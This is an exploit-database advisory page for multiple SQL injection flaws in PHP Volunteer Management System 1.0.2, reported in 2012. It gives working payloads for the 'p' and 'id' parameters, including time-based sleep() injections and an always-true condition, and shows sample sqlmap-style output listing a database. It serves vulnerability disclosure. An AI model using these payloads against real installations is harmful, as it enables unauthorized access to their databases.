PHP Volunteer Management System v 1.0.2 multiple SQLi Vulnerabilities

vendor:

PHP Volunteer Management System

by:

loneferret

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: PHP Volunteer Management System

Affected Version From: 1.0.2

Affected Version To: 1.0.2

Patch Exists: YES

Related CWE: N/A

CPE: a:phpvolunteer:php_volunteer_management_system:1.0.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu Server 8.04

2012

PHP Volunteer Management System v 1.0.2 multiple SQLi Vulnerabilities

Due to improper sanitation, many of the parameters are injectable, some need to be authenticated, others not. An example of a payload is /?p=dashboard' and sleep(5) and '1'='1. Other affected parameters can be found in the message section of the application when reading or deleting a message. An example of a payload is /?p=read_message&id=-1' or '1'='1.

Mitigation:

Input validation and sanitization should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Title: PHP Volunteer Management System v 1.0.2 multiple SQLi Vulnerabilities
# Version: 1.0.2
# Author/Found by: loneferret
# Software Site: https://sourceforge.net/projects/phpvolunteer/
# Other vulnerabilities: http://www.exploit-db.com/exploits/18941/
  
# Date found: May 28th 2012
# Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23
  
# Vulnerability:
# Due to improper sanitation, many of the parameters are injectable,
# some need to be authenticated, others not.

  
# As always have fun...

PoC:

Page: index.php
Parameter: ?p=
Method: GET
Payload: /?p=dashboard' and sleep(5) and '1'='1
Payload: /?p=login' and sleep(5) and '1'='1

Other affected parameters can be found in the message section of
the application when reading or deleting a message.

Parameter: id=
Url: /?p=read_message&id=2
Payload: /?p=read_message&id=-1' or '1'='1


Possible output:
[10:00:02] [INFO] searching database 'bf102'
[10:00:02] [INFO] the SQL query used returns 1 entries
[10:00:02] [INFO] resumed: "bf102"
found databases [1]:                                  
[*] bf102